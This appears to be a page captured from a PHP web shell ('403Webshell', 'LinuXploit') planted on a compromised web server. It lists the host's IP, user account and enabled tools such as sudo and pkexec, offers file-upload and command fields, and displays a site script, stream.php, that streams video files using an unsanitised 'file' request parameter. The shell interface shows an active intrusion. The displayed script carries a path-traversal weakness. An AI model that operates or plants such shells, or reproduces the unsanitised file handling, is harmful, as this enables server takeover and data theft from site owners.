403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/honeyschool.com/public_html/updates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/honeyschool.com/public_html/updates/stream.php
<?php

ini_set("memory_limit", -1);


$file = trim($_SERVER["DOCUMENT_ROOT"] .  $_GET["file"]);
$exts = array("flv", "m4v");
$ext = strtolower(substr(strrchr($file, '.'), 1));

if (!in_array($ext, $exts)) exit;




/*	
	// this example assumes your FLV files are in the "upload" directory of your website:
	// $file = $_SERVER["SITE_HTMLROOT"].'/upload/'.basename($_GET["file"]);
	
	$txt = "";
	$txt .= "Date: " . date("m/d/Y h:i:s") . "\n";
	$txt .= "File: " . $file . "\n";
	$txt .= "Dump: " . print_r($_GET, TRUE) . "\n";
	$txt .= "Exists: " . (file_exists($file)) ? 1 : 0;
	
	file_put_contents("test.txt", $txt);
*/



$pos = (isset($_GET["start"]))  ? intval($_GET["start"]): 0;

header("Content-Type: video/x-flv");
header('Content-Length: ' . filesize($file));


if($pos > 0) {
	print("FLV");
	print(pack('C',1));
	print(pack('C',1));
	print(pack('N',9));
	print(pack('N',9));
}


$fh = fopen($file,"rb");
fseek($fh, $pos);
fpassthru($fh);
fclose($fh);


?>

Youez - 2016 - github.com/yon3zu
LinuXploit